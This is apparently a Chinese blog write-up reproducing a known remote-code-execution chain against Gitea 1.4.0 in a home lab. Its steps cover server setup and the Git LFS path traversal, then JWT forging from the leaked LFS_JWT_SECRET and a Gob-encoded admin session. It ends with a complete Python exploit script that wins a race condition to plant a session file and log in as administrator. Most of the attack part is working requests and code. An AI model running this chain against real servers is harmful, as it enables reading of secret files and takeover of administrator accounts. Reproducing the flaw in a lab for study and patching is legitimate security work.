gitea漏洞利用

参考文献 :
https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce
http://blog.nsfocus.net/gitea-1-4-0-rce/
https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
gitea安装:https://www.moerats.com/archives/578/

Git LFS

Git 大文件存储(简称LFS),目的是更好地把大型二进制文件,比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。LFS 处理大型二进制文件的方式是用文本指针替换它们,这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中,而大文件本身通过HTTPS托管在Git LFS服务器上。

搭建gitea

版本:gitea1.4.0

wget -O gitea https://dl.gitea.io/gitea/1.4.0/gitea-1.4.0-linux-amd64
chmod +x gitea
./gitea web

环境启动后,访问http://you-ip:3000,进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。安装完成后,创建一个公开的仓库,随便添加点文件进去。

目录穿越漏洞

未授权的任意用户都可以为某个项目创建一个Git LFS对象。这个LFS对象可以通过http://example.com/vulhub/repo.git/info/lfs/objects/[oid]这样的接口来访问,比如下载、写入内容等。其中[oid]是LFS对象的ID,通常来说是一个哈希,但gitea中并没有限制这个ID允许包含的字符。发送一个数据包,创建一个Oid为....../../../etc/passwd的LFS对象:

  • POC
POST /sheng/repo.git/info/lfs/objects HTTP/1.1
Host: 192.168.8.134:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/vnd.git-lfs+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-CN; i_like_gitea=b82d4cc1b92e5a61; _csrf=-e57Y5iPxeHfOnbGxVQlzpxORFA6MTU0NDA4NDUxNDkwNDE0MzIzMA%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 153
{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}
img_b22247d0b5dec3d5d157321bac1b6f6e.png
  • 访问创建的文件
/test/poc.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth 
img_c54aa093daf570b28adbb474a3a1f669.png
读取配置文件,构造JWT密文

读取gitea的配置文件。这个文件在$GITEA_CUSTOM/conf/app.ini$GITEA_CUSTOMgitea的根目录,默认是/var/lib/gitea/,我自己安装的是在custom里面,所以需要构造出的Oid是 ....custom/conf/app.ini (经过转换后就变成了/gitea/lfs/../../custom/conf/app.ini,也就是/custom/conf/app.ini。)

img_350f014e94d4f2d3808555afb5a1e379.png

img_950f34f6a71a98a8b03a263f80d2aff2.png

Gitea中,LFS的接口是使用JWT认证,其加密密钥就是配置文件中的LFS_JWT_SECRET。可以构造JWT认证,进而获取LFS完整的读写权限。
  • 需要安装的模块
pip install PyJWT
pip install jwt
  • 生成密文
import jwt
import time
import base64

def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)
jwt_secret = decode_base64('e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E') #读取到的密钥
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
 #public_user_id是项目所有者的id,public_repo_id是项目id,这个项目指LFS所在的项目;nbf是指这个密文的开始时间,exp是这个密文的结束时间,只有当前时间处于这两个值中时,这个密文才有效。
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')  
token = token.decode()
print(token)
伪造session提升权限
LFS中的路由接口
transformKey(meta.Oid) + .tmp 后缀作为临时文件名
如果目录不存在,则创建目录
将用户传入的内容写入临时文件
如果文件大小和meta.Size不一致,则返回错误(meta.size是第一步中创建LFS时传入的Size参数)
如果文件哈希和meta.Oid不一致,则返回错误
将临时文件重命名为真正的文件名
gitea中是用流式方法来读取数据包,并将读取到的内容写入临时文件,可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数是等待在io.Copy那个步骤的,当然也就不会删除临时文件了。
在Gitea可以配置存储session的方式,默认是保存为文件,存储路径在/data/gitea/sessions,我的是data/sessions。把上面生成的session内容写入到一个.tmp文件,并保存在session目录下,这个tmp文件名即为sessionid,然后利用条件竞争,在文件未被删除之前带上这个sessionid,就可以登录成功。session文件名为sid[0]/sid[1]/sid,且对象被用Gob序列化后存入文件
  • 生成一段Gob编码的session:(在线运行环境)
package main
import (
    "fmt"
    "encoding/gob"
    "bytes"
    "encoding/hex"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}
func main() {
    var uid int64 = 1
    #uid是管理员id,uname是管理员用户名
    obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "sheng" }
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}
  • p神最终的利用脚本
import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
BASE_URL = 'http://192.168.8.134:3000/sheng/repo'
JWT_SECRET = 'e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11sheng'
#上面生成的session数据。
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005bff82000306737472696e670c070005756e616d6506737472696e670c0700057368656e6706737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002')

def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)
    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)

    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()
def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''

OID = f'....data/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
})
logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })

将伪造的SESSION数据发送,并等待300秒后才关闭连接。在这300秒中,服务器上将存在一个名为11sheng.tmp的文件,这也是session id

img_e1ba4137a6ee9f26b7988c66b186e8ea.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值